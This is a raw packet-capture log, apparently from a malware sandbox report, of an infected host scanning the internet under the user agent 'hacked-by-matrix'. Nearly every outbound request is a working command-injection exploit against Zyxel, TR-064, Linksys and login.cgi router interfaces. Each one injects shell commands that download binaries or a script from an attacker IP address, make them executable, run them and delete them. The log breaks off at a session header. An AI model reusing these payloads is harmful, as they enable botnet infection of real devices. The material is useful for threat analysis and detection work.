Mar 21, 2024 05:17:42.830854893 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:42.992963076 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Thu, 21 Mar 2024 04:17:35 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been remove
Mar 21, 2024 05:17:42.992975950 CET	120	IN	Data Raw: 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a Data Ascii: d, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>
Mar 21, 2024 05:17:42.993027925 CET	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:35 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.23	51330	82.127.201.126	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.831569910 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:43.550667048 CET	238	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Digest realm="Login to 24c101bc1eabd0da4adf571337ff45dc", qop="auth", nonce="1826446755", opaque="7416ac32a7a6c0fbd8c467392f472fafb1c3a72c" Connection: close CONTENT-LENGTH: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.23	58576	125.209.141.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.834794998 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.162807941 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:17:42 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:17:44.163417101 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:17:42 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.23	46808	45.47.57.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.061075926 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.23	53832	31.136.176.26	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.145876884 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:46.234740973 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:52.377908945 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:04.408231020 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:28.980866909 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.23	34526	158.69.159.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.216849089 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:43.835078001 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:44.539103031 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:44.647730112 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:44 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.23	36868	172.65.102.27	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.314974070 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:43.589716911 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.23	51222	172.65.186.60	55555

Timestamp	Bytes transferred	Direction	Data
